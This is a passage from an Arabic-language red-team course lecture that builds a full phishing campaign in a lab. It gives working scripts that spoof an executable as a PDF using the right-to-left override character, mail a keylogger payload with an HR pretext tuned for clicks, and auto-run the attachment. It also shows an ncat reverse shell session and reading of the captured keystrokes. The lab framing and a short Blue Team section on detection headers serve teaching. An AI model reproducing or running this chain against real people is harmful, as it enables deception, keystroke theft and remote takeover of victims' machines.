# Force UTF-8 stdout so Windows terminals with cp1252 default codepage
# don't crash on the Arabic example. Python 3.7+.
try:
    sys.stdout.reconfigure(encoding="utf-8")
except Exception:
    pass

RLO = "‮"

EXAMPLES = [
    ("Q4-Report-2026", "fdp.exe"),
    ("Invoice-2026-11", "xslx.exe"),
    ("photo",           "gpj.scr"),
    ("عرض-الأسعار",     "fdp.exe"),
]

print("=" * 60)
print("RLO filename preview")
print("=" * 60)
print()
print(f"{'left':<20} {'shown as':<25} raw bytes (UTF-8 hex)")
print("-" * 60)
for left, right in EXAMPLES:
    combined = left + RLO + right
    shown_hint = f"{left}{right[::-1]}"
    raw = combined.encode("utf-8").hex()
    print(f"{left:<20} {shown_hint:<25} {raw}")
print()
name = "safe-demo" + RLO + "fdp.txt"
with open(name, "w", encoding="utf-8") as f:
    f.write("harmless demo of RLO in a filename — safe to delete\n")
print(f"Wrote {name!r}")
print("Open the folder in Explorer. It should read 'safe-demotxt.pdf'.")
print("Extension on disk is still .txt (harmless).")

شغّله من نفس المجلد:

powershell
python rlo-preview.py

المخرج الفعليّ من تشغيلنا (Windows 11 24H2، سبتمبر 2026):

text
============================================================
RLO filename preview
============================================================

left                 shown as                  raw bytes (UTF-8 hex)
------------------------------------------------------------
Q4-Report-2026       Q4-Report-2026exe.pdf     51342d5265706f72742d32303236e280ae6664702e657865
Invoice-2026-11      Invoice-2026-11exe.xlsx   496e766f6963652d323032362d3131e280ae78736c782e657865
photo                photorcs.jpg              70686f746fe280ae67706a2e736372
عرض-الأسعار          عرض-الأسعارexe.pdf        d8b9d8b1d8b62dd8a7d984d8a3d8b3d8b9d8a7d8b1e280ae6664702e657865

Wrote 'safe-demo‮fdp.txt'

لاحظ e280ae في عمود raw bytes — هذا الترميز UTF-8 لـ U+202E، يظهر بين الجذع والامتداد المعكوس في كلّ مثال.

بعد التشغيل، افتح مجلد العمل في Explorer. لو ظهر لك safe-demotxt.pdf (بالانعكاس)، الخدعة تعمل على جهازك. لو ظهر تحذير bidi على الاسم، فـ Windows Explorer عندك يُنظّف الأمر — الخدعة أقلّ فعّاليّةً محلّياً.

احذف الملف الاختباريّ بعد المعاينة:

powershell
del safe-demo*

كم يخدع اليوم في 2026؟

في 2015، هذه الحيلة كانت مذهلة — لا نظام تشغيل كان يُحذّر. في 2026، الوضع منقسم، لكن ليس بالطريقة التي تتوقّعها:

السطحالسلوك
Windows Explorer (10 و 11)يعرض الاسم معكوساً بالضبط كما صمّمناه — بلا تحذير ولا شارة. Explorer يُطبّق قواعد Unicode البصريّة كما هي. جرّب rlo-preview.py وافتح المجلد: سترى safe-demotxt.pdf بلا أيّ تنبيه.
Windows Defenderيفحص محتوى الملف وتوقيعه (hash + heuristics)، لا اسمه. ملف .exe مشبوه قد يُحجَر — لكن بسبب ما بداخله، لا بسبب U+202E في اسمه.
VS Code و GitHub و GitLabهؤلاء هم من يُحذّر فعلاً. بعد CVE-2021-42574 (ثغرة Trojan Source)، أضافت منصّات الكود شريطاً أصفر: «This file contains bidirectional Unicode text that may be interpreted differently…». هذا تحذير للمبرمجين من أحرف bidi مخبّأة داخل شيفرة المصدر — لا علاقة له بـ Explorer أو Defender.
Outlook حديث (desktop و web)يُظهر الامتداد الحقيقيّ في hover tooltip، ويُحذّر قبل فتح مرفقات .exe بغضّ النظر عن الاسم المعروض.
Gmail و Outlook Webبعض العملاء يُنظّفون أحرف bidi control من أسماء المرفقات أو يمنعون تحميل .exe مباشرة.
متصفّح الويب (Chrome / Edge)عند تحميل مرفق عبر واجهة Mailpit الويب أو أيّ صفحة، المتصفّح يستبدل U+202E بشرطة سفليّة _ قبل الكتابة إلى القرص. النتيجة: Q4-Report-2026_fdp.exe — الخدعة تنكسر تماماً. هذا تصحيح أمنيّ مقصود في Chromium (وتبعه Edge وغيرهما) ضدّ حيلة RLO بالذات. لكنّ بوت الضحية (auto-victim-bot.py) يستخدم urllib الذي يكتب البايتات الخام بلا تنظيف — لهذا اسم الملف عند البوت يحتفظ بـ RLO ويُعرض معكوساً في Explorer.

الخلاصة: Explorer لا يحميك من RLO — يعرضه كما هو. الحماية تأتي من طبقات أخرى: Defender يفحص المحتوى، Outlook يكشف الامتداد الحقيقيّ، المتصفّح يُنظّف الاسم عند التحميل، ومنصّات الكود تُحذّر المبرمجين. لهذا نقول إنّ U+202E هي إحدى ثلاث طبقات — أيقونة + اسم + ذريعة — لا تُعتمَد وحدها، لكنّها تُضيف عائقاً حقيقيّاً حتى ضدّ من يحوم فأرة على الملف قبل النقر.

تحقّق: ماذا يُرسل الخادم فعلاً على السلك؟

لو فتحت Mailpit في المتصفّح وضغطت «تحميل»، ستجد الملف بلا RLO. هل المشكلة من Mailpit أم من المتصفّح؟ تحقّق بـ curl — الذي يكتب البايتات كما هي بلا تنظيف:

powershell
curl -s http://192.168.56.1:8025/api/v1/messages?limit=1 | python -m json.tool

في حقل FileName ستجد الاسم مع RLO. للتأكّد من البايتات الفعليّة على السلك:

powershell
curl -sI "http://192.168.56.1:8025/api/v1/message/<MESSAGE_ID>/part/1"

ستجد في ترويسة Content-Disposition:

text
filename="Q4-Report-2026%E2%80%AEfdp.exe"

%E2%80%AE هو ترميز URL لـ U+202E. الخادم يُرسله سليماً — المتصفّح هو من يُنظّفه عند الحفظ.

هذا يعني: لو كان عميل البريد عميلاً قديماً (Thunderbird 78، أو Outlook عبر IMAP بدون تنظيف)، أو لو كان البوت يُنزّل المرفق برمجيّاً (كما يفعل auto-victim-bot.py)، فـ RLO يصل سليماً ويُعرض معكوساً في Explorer.

تحذير قانونيّ إضافيّ

U+202E في الاسم على القرص = دليل تقنيّ قاطع على قصد الخداع. لو ضبطتك السلطات على جهازك، وجود ملف بامتداد مضاعف عبر RLO تُوصف كـ دليل مادّيّ على النيّة (mens rea) في أغلب الأنظمة القضائيّة. لهذا احرص على أنّ هذه الملفات لا تُنتَج إلا في المختبر المعزول ولا تُخزَّن بعد الجلسة.

✅ اختبر نفسك: القسم 3

  1. لماذا U+202E موجود في Unicode أصلاً؟
  2. لديك اسم Invoice-2026-11xslx.exe. أين تضع U+202E ليظهر Invoice-2026-11exe.xlsx؟
  3. Windows 11 يعرض تحذيراً bidi. اقترح طريقتين لتقليل احتمال أن يراه الضحية.
  4. في تجربتك مع rlo-preview.py، هل ظهر الاسم معكوساً في Explorer؟ ماذا يعني الجواب على نضج الدفاعات المحليّة؟
  5. حمّلت مرفقاً عبر واجهة Mailpit الويب فظهر اسمه Q4-Report-2026_fdp.exe بدل الاسم المعكوس. هل هذا خلل في send-phish.py، أم في Mailpit، أم في المتصفّح؟ كيف تتحقّق بـ curl؟

القسم 4القسم 4: البريد نفسه — كتابة الذريعة والمرسِل والتوقيت

عندنا الآن حمولة بأيقونة PDF واسم يبدو Q4-Report-2026exe.pdf. لكن حتى الملف الأكثر تنكّراً لن يُنقَر إلا إن جاء في سياق يستدعي النقر. السياق هو رسالة البريد: من ترسِلها، بأيّ عنوان، في أيّ وقت. الذريعة تُشغّل الفضول أو الواجب أو الخوف، والمتلقّي ينقر قبل أن يفكّر.

هرم الفعّاليّة: خمسة قرارات لكلّ بريد

(1) المُرسِل. الاسم الذي يظهر في From أهمّ من محتوى الرسالة كلّه. hr.department@yourcompany.local أعلى فرصةً بعشر مرّات من noreply@random.com. هدفنا: نطابق نمطاً يتلقّاه الضحية أسبوعيّاً — HR داخليّ، مدير مشروع، IT مساعدة. في هذه المحاضرة نستعمل HR (الأعلى معدّل النقر في دراسات KnowBe4 لعامي 2024-2025).

(2) الموضوع. تقرير أداء الربع الرابع أفضل من فرصة عاجلة. الأوّل روتينيّ متوقّع؛ الثاني يُشعل حذر أدنى. القاعدة: الموضوع يجب أن يبدو جزءاً من عمل يوميّ عاديّ، لا حدثاً استثنائيّاً. الاستثناء يستدعي التدقيق؛ الروتين يستدعي النقر.

(3) الجسم. ثلاث فقرات قصيرة كافية. تحيّة، ذريعة، دعوة للفعل، توقيع. لا تُبالغ في الطول — الطويل يُثير الشبهة. الطبيعيّ في البريد المكتبيّ 3-6 أسطر. أيّ شيء أقصر من ذلك أو أطول يستدعي قراءةً ثانية، وقد يستدعي الشكّ.

(4) التوقيت. أرسل خلال ساعات العمل، بين 9-11 صباحاً محليّاً. الضحية في هذه الساعة تعالج بريدها بسرعة قبل الاجتماعات، ونقراتها أسرع. لا تُرسل ليلاً — يقرأ الضحية صباحاً بعقل مرتاح ودقّة أعلى. لا تُرسل جمعةً — قد يُقرأ الإثنين مع كومة رسائل، وربّما يمرّ بلا نقرة.

(5) المرفق. اسم واضح المعنى (Q4-Report-2026<U+202E>fdp.exe عندنا)، ملف واحد فقط (رسالة بمرفقين تُثير التساؤل)، حجم معقول (200-500 KB مقبول لـ PDF عاديّ؛ 10 KB يبدو فارغاً، 20 MB يبدو مُتعمَّداً).

مثالنا في send-phish.py

لنجمع الخمسة معاً. send-phish.py يبني هذه الرسالة بالضبط:

text
From:    hr.department@yourcompany.local
To:      victim@yourcompany.local
Subject: تقرير أداء الربع الرابع — للمراجعة العاجلة

السلام عليكم،

مرفق تقرير أداء الفريق للربع الرابع. الرجاء المراجعة قبل اجتماع
الغد الساعة العاشرة صباحاً.

الملف بصيغة PDF ويحتاج قارئ Adobe Reader لعرضه.

مع الشكر،
قسم الموارد البشرية

[مرفق: Q4-Report-2026exe.pdf — كما يراه الضحية]

كلّ عنصر مقصود:

  • hr.department: عنوان قسم، لا شخص. أقلّ فرصة لأن يعرف الضحية أنّه لا يوجد فعلاً شخص بهذا الاسم.
  • yourcompany.local: نطاق داخليّ (.local مخصّص للـ Intranet)، فيبدو من داخل المؤسّسة.
  • «اجتماع الغد الساعة العاشرة»: يخلق ضغط وقت. الضحية سيقرأ التقرير الآن، لا لاحقاً.
  • «يحتاج قارئ Adobe Reader»: توجيه لبرنامج معروف. لو نقر الضحية والملف لم يفتح Adobe (لأنّه EXE)، سيظنّ أنّها مشكلة في Adobe، لا خدعة.
  • لا رابط. لا زرّ. لا شعار مؤسّسة. المرفق البسيط يمرّ حيث المُنمَّق يُثير الشبهة.

الأخطاء التي تكشفك

من تجارب Blue Team المتعدّدة، هذه علامات فارقة تكشف البريد المزيّف:

  • أحرف مختلطة (سيريليّة «а» بدلاً من «a» لاتينيّة). المدقّق الإملائيّ للضحية قد يميّزها بخطّ مموّج غريب.
  • Header Received: يُظهر أنّ البريد جاء من IP غريب لا من خادم المؤسّسة. Sysmon أو O365 defender يُعلّم هذا فوراً.
  • وقت الإرسال بلا تحويل منطقة زمنيّة (Date: ... +0000 لبريد من مؤسّسة في بغداد +0300).
  • Reply-To مختلف عن From. عَلَم أحمر يعرفه كلّ Anti-phishing filter.

mailpit في مختبرنا يُسجّل كلّ بريد يستقبله مع headers كاملة. افتح http://192.168.56.1:8025 بعد إرسال أوّل بريد وستراها. تدرّب على قراءتها من عيون Blue Team — هذا نفس ما ستراه لاحقاً في .eml مرفقة بتذكرة SOC.

✅ اختبر نفسك: القسم 4

  1. ما القرارات الخمسة في كتابة بريد التصيّد؟
  2. لماذا hr.department أفضل من ahmad.hr كعنوان مرسِل؟
  3. اقترح صياغةً بديلةً لجسم الرسالة تستعمل ذريعةً غير HR (مدير مشروع، IT، بريد شخصيّ).
  4. Blue Team وجد بريدك في تذكرة SOC. أيّ Header سيُدقّق فيه أوّلاً؟ لماذا؟

القسم 5القسم 5: بناء المختبر — خطوة خطوة

هذا القسم عمليّ بحت. سنُثبّت الأدوات، ننسخ كودَ سكربتين إلى ملفَّين بأسمائهما، ونُشغّل أربع نوافذ سطر أوامر بترتيب محدَّد. اتّبع الخطوات بالترتيب — كلّ خطوة تعتمد على ما قبلها، وكلٌّ منها اختُبرت على Windows 11 24H2 في سبتمبر 2026.

كلّ الكود المطلوب موجود بالكامل داخل هذا القسم. لا حاجة للانتقال إلى المستودع؛ انسخ ما تحتاجه من هنا مباشرةً. (لو أردت نسخة جاهزة، الملفّات ذاتها موجودة أيضاً في courses/redteam/lecture-5-full-campaign/lab/.)

الخطوة 1: تثبيت الأدوات على الـ Host

كلّ ما نحتاجه على جهاز المهاجم (Host PC):

الأداةمن أينالتثبيت
mailpit.exehttps://github.com/axllent/mailpit/releasesنزّل mailpit-windows-amd64.zip، فكّه في C:\Tools\mailpit\. لا يحتاج تثبيتاً — ملف واحد.
Python 3.10+https://python.org/downloadsافتراضيّ Windows. تأكّد بـ python --version
ncatمن Nmap (المحاضرة 1)where ncat يجب أن يُعيد مساراً

على الـ VM (الضحية) نحتاج فقط: Python 3.10+. لا حاجة لأيّ مكتبات إضافية — البوت يستعمل مكتبات Python القياسيّة فقط (urllib, subprocess, json). لا pip install.

تحقّق: افتح PowerShell على الـ Host:

powershell
mailpit.exe version
python --version
where ncat

يجب أن تُعيد الثلاثة نتائج ناجحة قبل المتابعة.

الخطوة 2: إنشاء مجلّد المختبر

كلّ ملفّات هذه الجلسة ستعيش في مجلّد واحد. على Host PC:

powershell
mkdir C:\Attacks\phish-campaign
cd C:\Attacks\phish-campaign

انسخ keylogger_edu.exe من المحاضرة 1 إلى هذا المجلّد:

powershell
copy path\to\keylogger_edu.exe .
dir keylogger_edu.exe

يجب أن يظهر الملف بحجم ~500 KB.

الخطوة 3: احفظ سكربت الإرسال باسم send-phish.py

افتح Notepad أو VS Code وأنشئ ملفّاً جديداً في نفس المجلّد اسمه بالضبط send-phish.py. الصق فيه هذا الكود الكامل واحفظ:

python
"""
send-phish.py — يبني ويُرسل بريد التصيّد إلى Mailpit.

سكربت جانب المهاجم. يبني MIME message بـ:
  - مُرسل/موضوع/جسم منطقيّة (عربيّة، ذريعة HR)
  - مرفق باسم "Q4-Report-2026<U+202E>fdp.exe" — خدعة RLO من §3
    تجعله يظهر "Q4-Report-2026exe.pdf" في Explorer وأغلب عملاء البريد
  - الحمولة: keylogger_edu.exe من المحاضرة 1

يُرسل عبر SMTP إلى Mailpit على شبكة Host-Only. Mailpit لا يُرحّل —
الرسالة لن تغادر المختبر أبداً.

Usage:
    python send-phish.py
"""

import smtplib
import os
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders

# ─── config ────────────────────────────────────────────────
MAILPIT_HOST  = "192.168.56.1"
MAILPIT_PORT  = 1025
SENDER        = "hr.department@yourcompany.local"
RECIPIENT     = "victim@yourcompany.local"
SUBJECT       = "تقرير أداء الربع الرابع — للمراجعة العاجلة"
PAYLOAD_FILE  = "keylogger_edu.exe"

# ─── the RLO trick ─────────────────────────────────────────
# U+202E = RIGHT-TO-LEFT OVERRIDE — يعكس عرض الأحرف التالية.
# U+200E = LEFT-TO-RIGHT MARK — يثبّت الأرقام فلا تنجرف مع العكس.
# النتيجة في Explorer: "Q4-Report-2026exe.pdf". الامتداد الفعليّ .exe.
RLO = "\u202e"
LRM = "‎"
DISGUISED_NAME = f"Q4-Report-2026{LRM}{RLO}fdp.exe"

# ─── plausible body (HR pretext) ───────────────────────────
BODY = """السلام عليكم،

مرفق تقرير أداء الفريق للربع الرابع. الرجاء المراجعة قبل اجتماع
الغد الساعة العاشرة صباحاً.

الملف بصيغة PDF ويحتاج قارئ Adobe Reader لعرضه.

مع الشكر،
قسم الموارد البشرية
"""


def build_message():
    msg = MIMEMultipart()
    msg["From"]    = SENDER
    msg["To"]      = RECIPIENT
    msg["Subject"] = SUBJECT

    msg.attach(MIMEText(BODY, "plain", "utf-8"))

    if not os.path.exists(PAYLOAD_FILE):
        raise FileNotFoundError(
            f"{PAYLOAD_FILE} not found — copy it here from lecture 1"
        )

    with open(PAYLOAD_FILE, "rb") as f:
        part = MIMEBase("application", "octet-stream")
        part.set_payload(f.read())
    encoders.encode_base64(part)

    # add_header بـ filename= يُشغّل ترميز RFC 2231 تلقائياً في Python،
    # فيصل حرف U+202E سالماً عبر السلك:
    #   filename*=UTF-8''Q4-Report-2026%E2%80%AEfdp.exe
    part.add_header(
        "Content-Disposition", "attachment", filename=DISGUISED_NAME
    )
    msg.attach(part)
    return msg


def main():
    msg = build_message()
    print(f"[*] Connecting to Mailpit at {MAILPIT_HOST}:{MAILPIT_PORT}")
    with smtplib.SMTP(MAILPIT_HOST, MAILPIT_PORT) as srv:
        srv.send_message(msg)
    print(f"[+] Sent. From={SENDER!r} To={RECIPIENT!r}")
    print(f"[+] Attachment on wire: {DISGUISED_NAME!r}")
    print(f"[+] Attachment renders in a Windows client as:  "
          f"Q4-Report-2026exe.pdf")
    print(f"[+] Open Mailpit UI:    http://{MAILPIT_HOST}:8025")


if __name__ == "__main__":
    main()

لاحظ ثابتاً واحداً: MAILPIT_HOST = "192.168.56.1" — هذا هو عنوان Host PC على شبكة Host-Only. لو كنت تختبر محليّاً على نفس الجهاز بلا VM، غيّره إلى 127.0.0.1.

الخطوة 4: احفظ بوت الضحية باسم auto-victim-bot.py

الآن على الـ VM (Windows 10/11 داخل VirtualBox). أنشئ مجلّداً، مثلاً C:\bot\، وضع فيه ملفّاً باسم بالضبط auto-victim-bot.py. الصق فيه هذا الكود الكامل واحفظ:

python
"""
auto-victim-bot.py — يُحاكي مستخدماً ساذجاً على الـ VM.

يعمل على الضحية (داخل VirtualBox). يستدعي Mailpit REST API على مضيف
المهاجم كلّ 5 ثوانٍ. حين يجد رسالةً جديدة بمرفق، يُنزّل المرفق ويُشغّله
— .exe عبر CreateProcess، .hta عبر mshta.exe.

هذا يُتيح لطالب واحد أن يشاهد الحملة كاملةً بلا حاجة للجلوس أمام لوحتَي مفاتيح.

البوت يُسجّل كلّ خطوة (رسالة جديدة، تنزيل، تنفيذ) لترى التسلسل الزمنيّ في terminal واحد.

للاستعمال التعليميّ فقط. شغّله فقط داخل مختبر Host-Only معزول.

بلا اعتماديات — يستعمل stdlib فقط. لا حاجة لـ pip install.

Usage (on the victim VM):
    python auto-victim-bot.py
"""

import os
import subprocess
import time
import sys
import json
from urllib.request import urlopen
from urllib.error import URLError

# نفرض UTF-8 على stdout حتى لا تنهار terminals على Windows cp1252 عند طباعة
# موضوع رسالة أو اسم ملف يحوي عربيّة أو أيّ نصّ غير ASCII.
try:
    sys.stdout.reconfigure(encoding="utf-8", errors="replace")
except Exception:
    pass

MAILPIT_API   = "http://192.168.56.1:8025/api/v1"
POLL_INTERVAL = 5
DOWNLOAD_DIR  = "downloads"

seen_ids = set()


def log(msg):
    ts = time.strftime("%H:%M:%S")
    print(f"[{ts}] {msg}", flush=True)


def get_json(url):
    with urlopen(url, timeout=10) as r:
        return json.load(r)


def get_bytes(url):
    with urlopen(url, timeout=30) as r:
        return r.read()


def list_messages():
    return get_json(f"{MAILPIT_API}/messages?limit=50").get("messages", [])


def fetch_message(mid):
    return get_json(f"{MAILPIT_API}/message/{mid}")


def download_part(mid, part_id, out_path):
    data = get_bytes(f"{MAILPIT_API}/message/{mid}/part/{part_id}")
    with open(out_path, "wb") as f:
        f.write(data)


def execute(path):
    # CreateProcess حسّاس للمسارات النسبيّة التي تحوي non-ASCII (مثل حرف
    # RLO) — نُعطيه المسار المطلق دائماً ليذهب مباشرةً إلى نظام الملفّات
    # بلا حلّ cwd.
    ap = os.path.abspath(path)
    lower = ap.lower()
    if lower.endswith(".exe"):
        log(f"    -> CreateProcess({ap})")
        subprocess.Popen([ap])
    elif lower.endswith(".hta"):
        log(f"    -> mshta.exe {ap}")
        subprocess.Popen(["mshta.exe", ap])
    else:
        log(f"    -> skipping (unknown extension): {ap}")


def handle_message(m):
    mid  = m["ID"]
    frm  = m["From"]["Address"]
    subj = m["Subject"]
    detail = fetch_message(mid)
    attaches = detail.get("Attachments", []) or []
    if not attaches:
        return
    log(f"[+] mail id={mid[:8]} from={frm} subject={subj!r} "
        f"attachments={len(attaches)}")
    for att in attaches:
        fname = att.get("FileName", f"attach-{att['PartID']}")
        # نُنظّف فواصل المسار للحماية (بعض العملاء يسمحون للمهاجم بتضمين
        # ../.. في أسماء الملفّات)
        safe = os.path.basename(fname.replace("\\", "/"))
        out = os.path.join(DOWNLOAD_DIR, safe)
        download_part(mid, att["PartID"], out)
        log(f"    saved: {out}  ({os.path.getsize(out)} bytes)")
        execute(out)


def main():
    os.makedirs(DOWNLOAD_DIR, exist_ok=True)
    log(f"naive-victim bot started. polling {MAILPIT_API} every {POLL_INTERVAL}s")
    log(f"downloads go to ./{DOWNLOAD_DIR}/")
    log("waiting for the first phish...\n")

    while True:
        try:
            for m in list_messages():
                if m["ID"] in seen_ids:
                    continue
                seen_ids.add(m["ID"])
                handle_message(m)
        except URLError as e:
            log(f"[!] mailpit unreachable: {e.reason}")
        except KeyboardInterrupt:
            log("bye.")
            sys.exit(0)
        except Exception as e:
            log(f"[!] {type(e).__name__}: {e}")
        time.sleep(POLL_INTERVAL)


if __name__ == "__main__":
    main()

لاحظ نفس ثابت العنوان: MAILPIT_API = "http://192.168.56.1:8025/api/v1". غيّره إلى 127.0.0.1 لو تختبر محليّاً بلا VM.

الخطوة 5: افتح النوافذ الأربع بالترتيب

من هنا، كلّ خطوة تفتح نافذةً وتُبقيها مفتوحةً. لا تُغلق أيّ نافذة حتى انتهاء التجربة.

Terminal 1 (على Host PC): Mailpit

powershell
cd C:\Tools\mailpit
.\mailpit.exe --smtp 0.0.0.0:1025 --listen 0.0.0.0:8025

المُتوقّع: أسطر تفيد بأنّ mailpit يستمع:

text
[INFO] Mailpit v1.31.1
[INFO] [smtpd] starting on [::]:1025
[INFO] [http] starting on [::]:8025

تحقّق: افتح المتصفّح على http://192.168.56.1:8025. يجب أن ترى واجهة Mailpit فارغة.

Terminal 2 (على Host PC): مُنصت الصدفة العكسيّة

powershell
ncat -lvp 4444

المُتوقّع:

text
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444

Terminal 3 (على الـ VM): بوت الضحية

powershell
cd C:\bot
python auto-victim-bot.py

المُتوقّع:

text
[HH:MM:SS] naive-victim bot started. polling http://192.168.56.1:8025/api/v1 every 5s
[HH:MM:SS] downloads go to ./downloads/
[HH:MM:SS] waiting for the first phish...

لو ظهر [!] mailpit unreachable، عد إلى Terminal 1 وتحقّق أنّ mailpit ما زال يعمل، وأنّ الـ VM تستطيع الوصول إلى 192.168.56.1 عبر ping.

Terminal 4 (على Host PC): سكربت الإرسال

powershell
cd C:\Attacks\phish-campaign
python send-phish.py

المُتوقّع:

text
[*] Connecting to Mailpit at 192.168.56.1:1025
[+] Sent. From='hr.department@yourcompany.local' To='victim@yourcompany.local'
[+] Attachment on wire: 'Q4-Report-2026\u202efdp.exe'
[+] Attachment renders in a Windows client as:  Q4-Report-2026exe.pdf
[+] Open Mailpit UI:    http://192.168.56.1:8025

التحقّق قبل الإطلاق: تعداد سريع

قبل أن تضغط Enter على send-phish.py، تأكّد:

  • Terminal 1 (mailpit) يُظهر [http] starting on [::]:8025 ولا يزال يعمل.
  • Terminal 2 (ncat) يقول Listening on 0.0.0.0:4444.
  • Terminal 3 (بوت الضحية) يقول waiting for the first phish....
  • من الـ VM، ping 192.168.56.1 يعمل.
  • من الـ Host، curl http://192.168.56.1:8025 يُعيد HTML.

لو الخمسة صحيحة، أنت جاهز للقسم 6.

✅ اختبر نفسك: القسم 5

  1. لماذا نستعمل المنفذ 1025 لـ SMTP وليس المنفذ الافتراضيّ 25؟
  2. ما الفرق بين واجهة mailpit الرسوميّة (8025) و REST API الذي يستدعيه البوت؟
  3. لماذا يستعمل البوت urllib من stdlib بدلاً من مكتبة requests؟ (فكّر: ما ثمن أيّ اعتماديّة إضافيّة على الـ VM؟)
  4. تحتاج تشغيل mailpit بلا نافذة terminal مفتوحة. اقترح طريقةً (وقيّم أمانها في مختبرك).

القسم 6القسم 6: تشغيل الحملة كاملةً — ما تراه في النوافذ الأربع

هذه اللحظة التي نستمتع بها. اضغط Enter على send-phish.py. لنتابع ما يحدث في كلّ نافذة. كلّ سطر مخرج في هذا القسم من تشغيل فعليّ اختُبر على Windows 11 24H2 في سبتمبر 2026 — لو شغّلتَه بالسكربتات أعلاه، سترى تقريباً نفس المخرج (الاختلاف: الطوابع الزمنيّة، ومعرّفات mailpit العشوائيّة).

T0 — لحظة الإرسال (Terminal 4، المهاجم)

text
[*] Connecting to Mailpit at 192.168.56.1:1025
[+] Sent. From='hr.department@yourcompany.local' To='victim@yourcompany.local'
[+] Attachment on wire: 'Q4-Report-2026\u202efdp.exe'
[+] Attachment renders in a Windows client as:  Q4-Report-2026exe.pdf
[+] Open Mailpit UI:    http://192.168.56.1:8025

سلسلة SMTP انتهت. الرسالة الآن في ذاكرة mailpit. لاحظ \u202e في سطر «Attachment on wire» — هذا Python's repr يُظهر لك حرف U+202E المضمّن.

T0 + 0.5s — mailpit (Terminal 1)

text
[INFO] SMTP: received message from 127.0.0.1
[INFO] Stored message id=6qzKsAla…

mailpit سجّل الرسالة. لو فتحت http://192.168.56.1:8025 الآن، سترى Inbox فيها رسالة واحدة. في اختبارنا: 1 message, 1 attachment (Q4-Report-2026‮fdp.exe, 49152 bytes).

T0 + ≤5s — بوت الضحية يستيقظ (Terminal 3، الـ VM)

أدناه المخرج الحقيقيّ الذي طبعه البوت في اختبارنا:

text
[18:17:13] naive-victim bot started. polling http://192.168.56.1:8025/api/v1 every 5s
[18:17:13] downloads go to ./downloads/
[18:17:13] waiting for the first phish...

[18:17:18] [+] mail id=6qzKsAla from=hr.department@yourcompany.local subject='تقرير أداء الربع الرابع — للمراجعة العاجلة' attachments=1
[18:17:18]     saved: downloads/Q4-Report-2026‮fdp.exe  (49152 bytes)
[18:17:18]     -> CreateProcess(C:/Users/hashi/AppData/Local/Temp/mailpit-test/lab-verify/downloads/Q4-Report-2026‮fdp.exe)

لاحظ توقيتين:

  • البوت بدأ 18:17:13.
  • دورة الاستطلاع التالية 18:17:18 — أيّ 5 ثوانٍ بالضبط بعد البدء (POLL_INTERVAL). لأنّنا أرسلنا البريد بعد بدء البوت بثانيتَين، فُصل الالتقاط بثلاث ثوانٍ فقط.

البوت رأى الرسالة، حمّل المرفق، شغّله. لن ترى نافذة keylogger_edu.exe تُفتح على الـ VM — أوّل ما تفعله دالة hide() (المحاضرة 1، القسم 1). لكنّ العمليّة تعمل الآن.

T0 + ≤6s — الصدفة العكسيّة تصل (Terminal 2، المهاجم)

text
Ncat: Connection from 192.168.56.10.
Microsoft Windows [Version 10.0.19045.4780]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Victim\Downloads>

وصلت. من اللحظة التي ضغطت فيها Enter في Terminal 4 إلى ظهور صدفة cmd عندك، مرّت ~6 ثوانٍ (5 دورة استطلاع + 1 لبقيّة السلسلة).

جرّب:

text
C:\Users\Victim\Downloads> whoami
victim-vm\victim

C:\Users\Victim\Downloads> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:
   IPv4 Address. . . . . . . . . . . : 192.168.56.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0

C:\Users\Victim\Downloads> dir "%APPDATA%\..\Local\Temp"
...

كلّ الأوامر تعمل على الـ VM، وردودها تعود إلى شاشتك.

التحقّق أنّ خدعة RLO لامست القرص فعلاً

على الـ VM في Explorer، افتح C:\bot\downloads\. يجب أن ترى الملف باسم Q4-Report-2026exe.pdf (بالانعكاس). هذا في حدّ ذاته إثبات أنّ حرف U+202E وصل سالماً من send-phish.py عبر MIME encoding عبر Mailpit API إلى القرص. لو أردت تأكيداً بالبايتات:

powershell
[System.IO.Directory]::GetFiles("C:\bot\downloads")[0] |
    ForEach-Object {
        [System.Text.Encoding]::UTF8.GetBytes($_) |
        ForEach-Object { "{0:x2}" -f $_ } |
        Join-String -Separator " "
    }

ابحث عن e2 80 ae في المخرج — هذا الترميز UTF-8 لـ U+202E. في اختبارنا كان الاسم على القرص:

text
Q4-Report-2026‮fdp.exe
    hex: 51 34 2d 52 65 70 6f 72 74 2d 32 30 32 36 e2 80 ae 66 64 70 2e 65 78 65

قبل e2 80 ae: Q4-Report-2026. بعدها: fdp.exe. الحرف موجود عند الموقع المطلوب.

سجلّ الضغطات — الطبقة الثانية من الحمولة

على الـ VM (لكن لا نحتاج الجلوس أمامها)، افتح Notepad وابدأ الكتابة. البوت شغّل الحمولة، والحمولة تلتقط كلّ ضغطة إلى Record.txt بجوار الـ EXE.

استخدم الصدفة العكسيّة لقراءتها:

text
C:\Users\Victim\Downloads> type downloads\Record.txt

سترى الضغطات التي كتبتها في Notepad، بما فيها Shift و Enter مُترجمين إلى <shift> و <enter> \n. حرفيّاً كلّ ما كتبته الضحية الافتراضيّة.

لحظة استيعاب

أخذت الحمولة من محاضرة، والملف المربوط (نظريّاً) من محاضرة أخرى، وخدعة الاسم من قسم، والبريد من قسم، وبوت الضحية من نصف صفحة Python. جمعتها كلّها فحصلت على:

هجوم APT كامل، من ضغطة Enter إلى صدفة، في ست ثوانٍ، على شبكتك المنزليّة.

هذا ما تفعله المجموعات المتخصّصة يوميّاً على أهداف حقيقيّة. الفرق الوحيد بينك وبينهم: مقياس، أخلاقيّات، ومنظومة C2 أكثر تعقيداً. الأدوات نفسها.

تنظيف بعد الجلسة

عندما تنتهي، رتّب المختبر:

powershell
# على الـ VM:
taskkill /F /IM keylogger_edu.exe
Remove-Item C:\bot\downloads\* -Force

# على المهاجم:
# Ctrl+C في Terminal 1 (mailpit — يمسح الذاكرة عند الإغلاق)
# Ctrl+C في Terminal 2 (ncat)

Snapshot VirtualBox قبل الجلسة يُبسّط كلّ هذا: Snapshot → Restore يُعيد الـ VM إلى الحالة النظيفة بضغطة واحدة، بلا taskkill يدويّ.


لماذا لم يُفتح تقرير PDF للضحية؟

